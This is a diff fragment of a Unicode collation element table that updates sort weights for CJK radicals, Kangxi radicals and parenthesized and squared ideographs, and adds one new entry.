-2EA9  ; [.FB40.0020.0004][.F38B.0000.0000][.0000.010B.0004] # CJK RADICAL JADE
+2EA9  ; [.FB40.0020.0004][.F38B.0000.0000][.0000.0110.0004] # CJK RADICAL JADE
 2F92B ; [.FB40.0020.0002][.F3A5.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F92B
 F9AD  ; [.FB40.0020.0002][.F3B2.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F9AD
 F917  ; [.FB40.0020.0002][.F3DE.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F917
@@ -29320,7 +29940,7 @@
 F962  ; [.FB40.0020.0002][.F570.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F962
 2F938 ; [.FB40.0020.0002][.F570.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F938
 2F66  ; [.FB40.0020.0004][.F58B.0000.0000] # KANGXI RADICAL BOLT OF CLOTH
-2EAA  ; [.FB40.0020.0004][.F58B.0000.0000][.0000.010B.0004] # CJK RADICAL BOLT OF CLOTH
+2EAA  ; [.FB40.0020.0004][.F58B.0000.0000][.0000.0110.0004] # CJK RADICAL BOLT OF CLOTH
 2F67  ; [.FB40.0020.0004][.F592.0000.0000] # KANGXI RADICAL SICKNESS
 F9E5  ; [.FB40.0020.0002][.F5E2.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F9E5
 2F93A ; [.FB40.0020.0002][.F610.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F93A
@@ -29334,13 +29954,13 @@
 2F6B  ; [.FB40.0020.0004][.F6BF.0000.0000] # KANGXI RADICAL DISH
 FA17  ; [.FB40.0020.0002][.F6CA.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FA17
 FAA6  ; [.FB40.0020.0002][.F6CA.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FAA6
-1F246 ; [*0372.0020.0004][.FB40.0020.0004][.F6D7.0000.0000][*0373.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-76D7
+1F246 ; [*0379.0020.0004][.FB40.0020.0004][.F6D7.0000.0000][*037A.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-76D7
 FAA7  ; [.FB40.0020.0002][.F6DB.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FAA7
-323C  ; [*0310.0020.0004][.FB40.0020.0004][.F6E3.0000.0000][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH SUPERVISE
+323C  ; [*0317.0020.0004][.FB40.0020.0004][.F6E3.0000.0000][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH SUPERVISE
 32AC  ; [.FB40.0020.0006][.F6E3.0000.0000] # CIRCLED IDEOGRAPH SUPERVISE
 F933  ; [.FB40.0020.0002][.F6E7.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F933
 2F6C  ; [.FB40.0020.0004][.F6EE.0000.0000] # KANGXI RADICAL EYE
-2EAB  ; [.FB40.0020.0004][.F6EE.0000.0000][.0000.010B.0004] # CJK RADICAL EYE
+2EAB  ; [.FB40.0020.0004][.F6EE.0000.0000][.0000.0110.0004] # CJK RADICAL EYE
 FAA8  ; [.FB40.0020.0002][.F6F4.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FAA8
 2F940 ; [.FB40.0020.0002][.F6F4.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F940
 F96D  ; [.FB40.0020.0002][.F701.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F96D
@@ -29366,11 +29986,11 @@
 F964  ; [.FB40.0020.0002][.F8FB.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F964
 F985  ; [.FB40.0020.0002][.F92A.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F985
 2F70  ; [.FB40.0020.0004][.F93A.0000.0000] # KANGXI RADICAL SPIRIT
-2EAC  ; [.FB40.0020.0004][.F93A.0000.0000][.0000.010B.0004] # CJK RADICAL SPIRIT ONE
+2EAC  ; [.FB40.0020.0004][.F93A.0000.0000][.0000.0110.0004] # CJK RADICAL SPIRIT ONE
 2EAD  ; [.FB40.0020.0004][.F93B.0000.0000] # CJK RADICAL SPIRIT TWO
 FA18  ; [.FB40.0020.0002][.F93C.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FA18
 FA4C  ; [.FB40.0020.0002][.F93E.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FA4C
-3233  ; [*0310.0020.0004][.FB40.0020.0004][.F93E.0000.0000][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH SOCIETY
+3233  ; [*0317.0020.0004][.FB40.0020.0004][.F93E.0000.0000][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH SOCIETY
 3293  ; [.FB40.0020.0006][.F93E.0000.0000] # CIRCLED IDEOGRAPH SOCIETY
 FA4E  ; [.FB40.0020.0002][.F948.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FA4E
 FA4D  ; [.FB40.0020.0002][.F949.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FA4D
@@ -29378,11 +29998,11 @@
 FA50  ; [.FB40.0020.0002][.F956.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FA50
 2F953 ; [.FB40.0020.0002][.F956.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F953
 FA51  ; [.FB40.0020.0002][.F95D.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FA51
-3237  ; [*0310.0020.0004][.FB40.0020.0004][.F95D.0000.0000][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH CONGRATULATION
+3237  ; [*0317.0020.0004][.FB40.0020.0004][.F95D.0000.0000][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH CONGRATULATION
 3297  ; [.FB40.0020.0006][.F95D.0000.0000] # CIRCLED IDEOGRAPH CONGRATULATION
 FA19  ; [.FB40.0020.0002][.F95E.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FA19
 FA1A  ; [.FB40.0020.0002][.F965.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FA1A
-3240  ; [*0310.0020.0004][.FB40.0020.0004][.F96D.0000.0000][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH FESTIVAL
+3240  ; [*0317.0020.0004][.FB40.0020.0004][.F96D.0000.0000][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH FESTIVAL
 F93C  ; [.FB40.0020.0002][.F97F.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F93C
 1F232 ; [.FB40.0020.001C][.F981.0000.0000] # SQUARED CJK UNIFIED IDEOGRAPH-7981
 FA52  ; [.FB40.0020.0002][.F98D.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FA52
@@ -29408,7 +30028,7 @@
 2F74  ; [.FB40.0020.0004][.FACB.0000.0000] # KANGXI RADICAL STAND
 2F95F ; [.FB40.0020.0002][.FAEE.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F95F
 2F75  ; [.FB40.0020.0004][.FAF9.0000.0000] # KANGXI RADICAL BAMBOO
-2EAE  ; [.FB40.0020.0004][.FAF9.0000.0000][.0000.010B.0004] # CJK RADICAL BAMBOO
+2EAE  ; [.FB40.0020.0004][.FAF9.0000.0000][.0000.0110.0004] # CJK RADICAL BAMBOO
 F9F8  ; [.FB40.0020.0002][.FB20.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F9F8
 3247  ; [.FB40.0020.0006][.FB8F.0000.0000] # CIRCLED IDEOGRAPH KOTO
 FA56  ; [.FB40.0020.0002][.FBC0.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FA56
@@ -29451,17 +30071,17 @@
 FAB1  ; [.FB40.0020.0002][.FF3E.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FAB1
 2F79  ; [.FB40.0020.0004][.FF51.0000.0000] # KANGXI RADICAL NET
 2EB2  ; [.FB40.0020.0004][.FF52.0000.0000] # CJK RADICAL NET TWO
-2EB5  ; [.FB40.0020.0004][.FF52.0000.0000][.0000.010B.0004] # CJK RADICAL MESH
+2EB5  ; [.FB40.0020.0004][.FF52.0000.0000][.0000.0110.0004] # CJK RADICAL MESH
 2EB1  ; [.FB40.0020.0004][.FF53.0000.0000] # CJK RADICAL NET ONE
-2EB3  ; [.FB40.0020.0004][.FF53.0000.0000][.0000.010B.0004] # CJK RADICAL NET THREE
-2EB4  ; [.FB40.0020.0004][.FF53.0000.0000][.0000.010C.0004] # CJK RADICAL NET FOUR
+2EB3  ; [.FB40.0020.0004][.FF53.0000.0000][.0000.0110.0004] # CJK RADICAL NET THREE
+2EB4  ; [.FB40.0020.0004][.FF53.0000.0000][.0000.0111.0004] # CJK RADICAL NET FOUR
 FA5A  ; [.FB40.0020.0002][.FF72.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FA5A
 F9E6  ; [.FB40.0020.0002][.FF79.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F9E6
 2F976 ; [.FB40.0020.0002][.FF7A.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F976
 F90F  ; [.FB40.0020.0002][.FF85.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F90F
 2F7A  ; [.FB40.0020.0004][.FF8A.0000.0000] # KANGXI RADICAL SHEEP
-2EB6  ; [.FB40.0020.0004][.FF8A.0000.0000][.0000.010B.0004] # CJK RADICAL SHEEP
-2EB7  ; [.FB40.0020.0004][.FF8A.0000.0000][.0000.010C.0004] # CJK RADICAL RAM
+2EB6  ; [.FB40.0020.0004][.FF8A.0000.0000][.0000.0110.0004] # CJK RADICAL SHEEP
+2EB7  ; [.FB40.0020.0004][.FF8A.0000.0000][.0000.0111.0004] # CJK RADICAL RAM
 2EB8  ; [.FB40.0020.0004][.FF8B.0000.0000] # CJK RADICAL EWE
 2F978 ; [.FB40.0020.0002][.FF95.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F978
 F9AF  ; [.FB40.0020.0002][.FF9A.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F9AF
@@ -29483,10 +30103,10 @@
 2F97F ; [.FB41.0020.0002][.8070.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F97F
 F945  ; [.FB41.0020.0002][.807E.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F945
 2F80  ; [.FB41.0020.0004][.807F.0000.0000] # KANGXI RADICAL BRUSH
-2EBB  ; [.FB41.0020.0004][.807F.0000.0000][.0000.010B.0004] # CJK RADICAL BRUSH TWO
+2EBB  ; [.FB41.0020.0004][.807F.0000.0000][.0000.0110.0004] # CJK RADICAL BRUSH TWO
 2EBA  ; [.FB41.0020.0004][.8080.0000.0000] # CJK RADICAL BRUSH ONE
 2F81  ; [.FB41.0020.0004][.8089.0000.0000] # KANGXI RADICAL MEAT
-2EBC  ; [.FB41.0020.0004][.8089.0000.0000][.0000.010B.0004] # CJK RADICAL MEAT
+2EBC  ; [.FB41.0020.0004][.8089.0000.0000][.0000.0110.0004] # CJK RADICAL MEAT
 F953  ; [.FB41.0020.0002][.808B.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F953
 2F8D6 ; [.FB41.0020.0002][.80AD.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F8D6
 2F982 ; [.FB41.0020.0002][.80B2.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F982
@@ -29496,12 +30116,12 @@
 2F82  ; [.FB41.0020.0004][.81E3.0000.0000] # KANGXI RADICAL MINISTER
 F9F6  ; [.FB41.0020.0002][.81E8.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F9F6
 2F83  ; [.FB41.0020.0004][.81EA.0000.0000] # KANGXI RADICAL SELF
-3242  ; [*0310.0020.0004][.FB41.0020.0004][.81EA.0000.0000][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH SELF
+3242  ; [*0317.0020.0004][.FB41.0020.0004][.81EA.0000.0000][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH SELF
 FA5C  ; [.FB41.0020.0002][.81ED.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FA5C
 2F84  ; [.FB41.0020.0004][.81F3.0000.0000] # KANGXI RADICAL ARRIVE
-3243  ; [*0310.0020.0004][.FB41.0020.0004][.81F3.0000.0000][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH REACH
+3243  ; [*0317.0020.0004][.FB41.0020.0004][.81F3.0000.0000][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH REACH
 2F85  ; [.FB41.0020.0004][.81FC.0000.0000] # KANGXI RADICAL MORTAR
-2EBD  ; [.FB41.0020.0004][.81FC.0000.0000][.0000.010B.0004] # CJK RADICAL MORTAR
+2EBD  ; [.FB41.0020.0004][.81FC.0000.0000][.0000.0110.0004] # CJK RADICAL MORTAR
 2F893 ; [.FB41.0020.0002][.8201.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F893
 2F98B ; [.FB41.0020.0002][.8201.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F98B
 2F98C ; [.FB41.0020.0002][.8204.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F98C
@@ -29516,8 +30136,8 @@
 FA5D  ; [.FB41.0020.0002][.8279.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FA5D
 FA5E  ; [.FB41.0020.0002][.8279.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FA5E
 2EBE  ; [.FB41.0020.0004][.8279.0000.0000] # CJK RADICAL GRASS ONE
-2EBF  ; [.FB41.0020.0004][.8279.0000.0000][.0000.010B.0004] # CJK RADICAL GRASS TWO
-2EC0  ; [.FB41.0020.0004][.8279.0000.0000][.0000.010C.0004] # CJK RADICAL GRASS THREE
+2EBF  ; [.FB41.0020.0004][.8279.0000.0000][.0000.0110.0004] # CJK RADICAL GRASS TWO
+2EC0  ; [.FB41.0020.0004][.8279.0000.0000][.0000.0111.0004] # CJK RADICAL GRASS THREE
 2F990 ; [.FB41.0020.0002][.828B.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F990
 2F98F ; [.FB41.0020.0002][.8291.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F98F
 2F991 ; [.FB41.0020.0002][.829D.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F991
@@ -29607,7 +30227,7 @@
 2EC5  ; [.FB41.0020.0004][.89C1.0000.0000] # CJK RADICAL C-SIMPLIFIED SEE
 2EC6  ; [.FB41.0020.0004][.89D2.0000.0000] # CJK RADICAL SIMPLIFIED HORN
 2F93  ; [.FB41.0020.0004][.89D2.0000.0000] # KANGXI RADICAL HORN
-2EC7  ; [.FB41.0020.0004][.89D2.0000.0000][.0000.010B.0004] # CJK RADICAL HORN
+2EC7  ; [.FB41.0020.0004][.89D2.0000.0000][.0000.0110.0004] # CJK RADICAL HORN
 1F216 ; [.FB41.0020.001C][.89E3.0000.0000] # SQUARED CJK UNIFIED IDEOGRAPH-89E3
 2F94  ; [.FB41.0020.0004][.8A00.0000.0000] # KANGXI RADICAL SPEECH
 2F9CF ; [.FB41.0020.0002][.8AA0.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F9CF
@@ -29639,13 +30259,13 @@
 2F97  ; [.FB41.0020.0004][.8C55.0000.0000] # KANGXI RADICAL PIG
 2F98  ; [.FB41.0020.0004][.8C78.0000.0000] # KANGXI RADICAL BADGER
 2F99  ; [.FB41.0020.0004][.8C9D.0000.0000] # KANGXI RADICAL SHELL
-3236  ; [*0310.0020.0004][.FB41.0020.0004][.8CA1.0000.0000][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH FINANCIAL
+3236  ; [*0317.0020.0004][.FB41.0020.0004][.8CA1.0000.0000][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH FINANCIAL
 3296  ; [.FB41.0020.0006][.8CA1.0000.0000] # CIRCLED IDEOGRAPH FINANCIAL
 1F223 ; [.FB41.0020.001C][.8CA9.0000.0000] # SQUARED CJK UNIFIED IDEOGRAPH-8CA9
 2F9D4 ; [.FB41.0020.0002][.8CAB.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F9D4
 2F9D5 ; [.FB41.0020.0002][.8CC1.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F9D5
 F948  ; [.FB41.0020.0002][.8CC2.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F948
-323E  ; [*0310.0020.0004][.FB41.0020.0004][.8CC7.0000.0000][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH RESOURCE
+323E  ; [*0317.0020.0004][.FB41.0020.0004][.8CC7.0000.0000][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH RESOURCE
 32AE  ; [.FB41.0020.0006][.8CC7.0000.0000] # CIRCLED IDEOGRAPH RESOURCE
 F903  ; [.FB41.0020.0002][.8CC8.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F903
 FA64  ; [.FB41.0020.0002][.8CD3.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FA64
@@ -29658,7 +30278,7 @@
 1F230 ; [.FB41.0020.001C][.8D70.0000.0000] # SQUARED CJK UNIFIED IDEOGRAPH-8D70
 2F9D7 ; [.FB41.0020.0002][.8D77.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F9D7
 2F9C  ; [.FB41.0020.0004][.8DB3.0000.0000] # KANGXI RADICAL FOOT
-2ECA  ; [.FB41.0020.0004][.8DB3.0000.0000][.0000.010B.0004] # CJK RADICAL FOOT
+2ECA  ; [.FB41.0020.0004][.8DB3.0000.0000][.0000.0110.0004] # CJK RADICAL FOOT
 2F9DB ; [.FB41.0020.0002][.8DBC.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F9DB
 2F9DA ; [.FB41.0020.0002][.8DCB.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F9DA
 F937  ; [.FB41.0020.0002][.8DEF.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F937
@@ -29681,8 +30301,8 @@
 2FA1  ; [.FB41.0020.0004][.8FB5.0000.0000] # KANGXI RADICAL WALK
 FA66  ; [.FB41.0020.0002][.8FB6.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FA66
 2ECC  ; [.FB41.0020.0004][.8FB6.0000.0000] # CJK RADICAL SIMPLIFIED WALK
-2ECD  ; [.FB41.0020.0004][.8FB6.0000.0000][.0000.010B.0004] # CJK RADICAL WALK ONE
-2ECE  ; [.FB41.0020.0004][.8FB6.0000.0000][.0000.010C.0004] # CJK RADICAL WALK TWO
+2ECD  ; [.FB41.0020.0004][.8FB6.0000.0000][.0000.0110.0004] # CJK RADICAL WALK ONE
+2ECE  ; [.FB41.0020.0004][.8FB6.0000.0000][.0000.0111.0004] # CJK RADICAL WALK TWO
 F99A  ; [.FB41.0020.0002][.9023.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F99A
 FA25  ; [.FB41.0020.0002][.9038.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FA25
 FA67  ; [.FB41.0020.0002][.9038.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FA67
@@ -29692,7 +30312,7 @@
 F9C3  ; [.FB41.0020.0002][.907C.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F9C3
 F913  ; [.FB41.0020.0002][.908F.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F913
 2FA2  ; [.FB41.0020.0004][.9091.0000.0000] # KANGXI RADICAL CITY
-2ECF  ; [.FB41.0020.0004][.9091.0000.0000][.0000.010B.0004] # CJK RADICAL CITY
+2ECF  ; [.FB41.0020.0004][.9091.0000.0000][.0000.0110.0004] # CJK RADICAL CITY
 2F9E2 ; [.FB41.0020.0002][.9094.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F9E2
 F92C  ; [.FB41.0020.0002][.90CE.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F92C
 FA2E  ; [.FB41.0020.0002][.90DE.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FA2E
@@ -29701,6 +30321,7 @@
 2F9E4 ; [.FB41.0020.0002][.9111.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F9E4
 2F9E6 ; [.FB41.0020.0002][.911B.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F9E6
 2FA3  ; [.FB41.0020.0004][.9149.0000.0000] # KANGXI RADICAL WINE
+1F23B ; [.FB41.0020.001C][.914D.0000.0000] # SQUARED CJK UNIFIED IDEOGRAPH-914D
 F919  ; [.FB41.0020.0002][.916A.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F919
 FAC4  ; [.FB41.0020.0002][.9199.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FAC4
 F9B7  ; [.FB41.0020.0002][.91B4.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F9B7
@@ -29710,7 +30331,7 @@
 F97E  ; [.FB41.0020.0002][.91CF.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F97E
 F90A  ; [.FB41.0020.0002][.91D1.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F90A
 2FA6  ; [.FB41.0020.0004][.91D1.0000.0000] # KANGXI RADICAL GOLD
-322E  ; [*0310.0020.0004][.FB41.0020.0004][.91D1.0000.0000][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH METAL
+322E  ; [*0317.0020.0004][.FB41.0020.0004][.91D1.0000.0000][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH METAL
 328E  ; [.FB41.0020.0006][.91D1.0000.0000] # CIRCLED IDEOGRAPH METAL
 F9B1  ; [.FB41.0020.0002][.9234.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F9B1
 2F9E7 ; [.FB41.0020.0002][.9238.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F9E7
@@ -29733,7 +30354,7 @@
 2F9F0 ; [.FB41.0020.0002][.95B7.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F9F0
 2ED4  ; [.FB41.0020.0004][.95E8.0000.0000] # CJK RADICAL C-SIMPLIFIED GATE
 2FA9  ; [.FB41.0020.0004][.961C.0000.0000] # KANGXI RADICAL MOUND
-2ED5  ; [.FB41.0020.0004][.961C.0000.0000][.0000.010B.0004] # CJK RADICAL MOUND ONE
+2ED5  ; [.FB41.0020.0004][.961C.0000.0000][.0000.0110.0004] # CJK RADICAL MOUND ONE
 2ED6  ; [.FB41.0020.0004][.961D.0000.0000] # CJK RADICAL MOUND TWO
 F9C6  ; [.FB41.0020.0002][.962E.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F9C6
 F951  ; [.FB41.0020.0002][.964B.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F951
@@ -29752,7 +30373,7 @@
 FA68  ; [.FB41.0020.0002][.96E3.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FA68
 FAC7  ; [.FB41.0020.0002][.96E3.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FAC7
 2FAC  ; [.FB41.0020.0004][.96E8.0000.0000] # KANGXI RADICAL RAIN
-2ED7  ; [.FB41.0020.0004][.96E8.0000.0000][.0000.010B.0004] # CJK RADICAL RAIN
+2ED7  ; [.FB41.0020.0004][.96E8.0000.0000][.0000.0110.0004] # CJK RADICAL RAIN
 F9B2  ; [.FB41.0020.0002][.96F6.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F9B2
 F949  ; [.FB41.0020.0002][.96F7.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F949
 2F9F5 ; [.FB41.0020.0002][.9723.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F9F5
@@ -29791,7 +30412,7 @@
 2EDD  ; [.FB41.0020.0004][.98DF.0000.0000] # CJK RADICAL EAT ONE
 2FB7  ; [.FB41.0020.0004][.98DF.0000.0000] # KANGXI RADICAL EAT
 2EDF  ; [.FB41.0020.0004][.98E0.0000.0000] # CJK RADICAL EAT THREE
-2EDE  ; [.FB41.0020.0004][.98E0.0000.0000][.0000.010B.0004] # CJK RADICAL EAT TWO
+2EDE  ; [.FB41.0020.0004][.98E0.0000.0000][.0000.0110.0004] # CJK RADICAL EAT TWO
 2FA02 ; [.FB41.0020.0002][.98E2.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2FA02
 FA2A  ; [.FB41.0020.0002][.98EF.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FA2A
 FA2B  ; [.FB41.0020.0002][.98FC.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FA2B
@@ -29799,7 +30420,7 @@
 2FA04 ; [.FB41.0020.0002][.9929.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2FA04
 2EE0  ; [.FB41.0020.0004][.9963.0000.0000] # CJK RADICAL C-SIMPLIFIED EAT
 2FB8  ; [.FB41.0020.0004][.9996.0000.0000] # KANGXI RADICAL HEAD
-2EE1  ; [.FB41.0020.0004][.9996.0000.0000][.0000.010B.0004] # CJK RADICAL HEAD
+2EE1  ; [.FB41.0020.0004][.9996.0000.0000][.0000.0110.0004] # CJK RADICAL HEAD
 2FB9  ; [.FB41.0020.0004][.9999.0000.0000] # KANGXI RADICAL FRAGRANT
 2FA05 ; [.FB41.0020.0002][.99A7.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2FA05
 2FBA  ; [.FB41.0020.0004][.99AC.0000.0000] # KANGXI RADICAL HORSE
@@ -29809,7 +30430,7 @@
 F987  ; [.FB41.0020.0002][.9A6A.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F987
 2EE2  ; [.FB41.0020.0004][.9A6C.0000.0000] # CJK RADICAL C-SIMPLIFIED HORSE
 2FBB  ; [.FB41.0020.0004][.9AA8.0000.0000] # KANGXI RADICAL BONE
-2EE3  ; [.FB41.0020.0004][.9AA8.0000.0000][.0000.010B.0004] # CJK RADICAL BONE
+2EE3  ; [.FB41.0020.0004][.9AA8.0000.0000][.0000.0110.0004] # CJK RADICAL BONE
 2FBC  ; [.FB41.0020.0004][.9AD8.0000.0000] # KANGXI RADICAL TALL
 2FBD  ; [.FB41.0020.0004][.9ADF.0000.0000] # KANGXI RADICAL HAIR
 FACD  ; [.FB41.0020.0002][.9B12.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FACD
@@ -29818,7 +30439,7 @@
 2FBF  ; [.FB41.0020.0004][.9B2F.0000.0000] # KANGXI RADICAL SACRIFICIAL WINE
 2FC0  ; [.FB41.0020.0004][.9B32.0000.0000] # KANGXI RADICAL CAULDRON
 2FC1  ; [.FB41.0020.0004][.9B3C.0000.0000] # KANGXI RADICAL GHOST
-2EE4  ; [.FB41.0020.0004][.9B3C.0000.0000][.0000.010B.0004] # CJK RADICAL GHOST
+2EE4  ; [.FB41.0020.0004][.9B3C.0000.0000][.0000.0110.0004] # CJK RADICAL GHOST
 2FC2  ; [.FB41.0020.0004][.9B5A.0000.0000] # KANGXI RADICAL FISH
 F939  ; [.FB41.0020.0002][.9B6F.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F939
 2FA0B ; [.FB41.0020.0002][.9C40.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2FA0B
@@ -29832,7 +30453,7 @@
 F920  ; [.FB41.0020.0002][.9E1E.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F920
 2EE6  ; [.FB41.0020.0004][.9E1F.0000.0000] # CJK RADICAL C-SIMPLIFIED BIRD
 2FC4  ; [.FB41.0020.0004][.9E75.0000.0000] # KANGXI RADICAL SALT
-2EE7  ; [.FB41.0020.0004][.9E75.0000.0000][.0000.010B.0004] # CJK RADICAL C-SIMPLIFIED SALT
+2EE7  ; [.FB41.0020.0004][.9E75.0000.0000][.0000.0110.0004] # CJK RADICAL C-SIMPLIFIED SALT
 F940  ; [.FB41.0020.0002][.9E7F.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F940
 2FC5  ; [.FB41.0020.0004][.9E7F.0000.0000] # KANGXI RADICAL DEER
 F988  ; [.FB41.0020.0002][.9E97.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F988
@@ -29861,14 +30482,14 @@
 2FD0  ; [.FB41.0020.0004][.9F3B.0000.0000] # KANGXI RADICAL NOSE
 FAD8  ; [.FB41.0020.0002][.9F43.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FAD8
 2FD1  ; [.FB41.0020.0004][.9F4A.0000.0000] # KANGXI RADICAL EVEN
-2EEB  ; [.FB41.0020.0004][.9F4A.0000.0000][.0000.010B.0004] # CJK RADICAL J-SIMPLIFIED EVEN
+2EEB  ; [.FB41.0020.0004][.9F4A.0000.0000][.0000.0110.0004] # CJK RADICAL J-SIMPLIFIED EVEN
 2EEC  ; [.FB41.0020.0004][.9F50.0000.0000] # CJK RADICAL C-SIMPLIFIED EVEN
 2FD2  ; [.FB41.0020.0004][.9F52.0000.0000] # KANGXI RADICAL TOOTH
-2EED  ; [.FB41.0020.0004][.9F52.0000.0000][.0000.010B.0004] # CJK RADICAL J-SIMPLIFIED TOOTH
+2EED  ; [.FB41.0020.0004][.9F52.0000.0000][.0000.0110.0004] # CJK RADICAL J-SIMPLIFIED TOOTH
 2EEE  ; [.FB41.0020.0004][.9F7F.0000.0000] # CJK RADICAL C-SIMPLIFIED TOOTH
 F9C4  ; [.FB41.0020.0002][.9F8D.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F9C4
 2FD3  ; [.FB41.0020.0004][.9F8D.0000.0000] # KANGXI RADICAL DRAGON
-2EEF  ; [.FB41.0020.0004][.9F8D.0000.0000][.0000.010B.0004] # CJK RADICAL J-SIMPLIFIED DRAGON
+2EEF  ; [.FB41.0020.0004][.9F8D.0000.0000][.0000.0110.0004] # CJK RADICAL J-SIMPLIFIED DRAGON
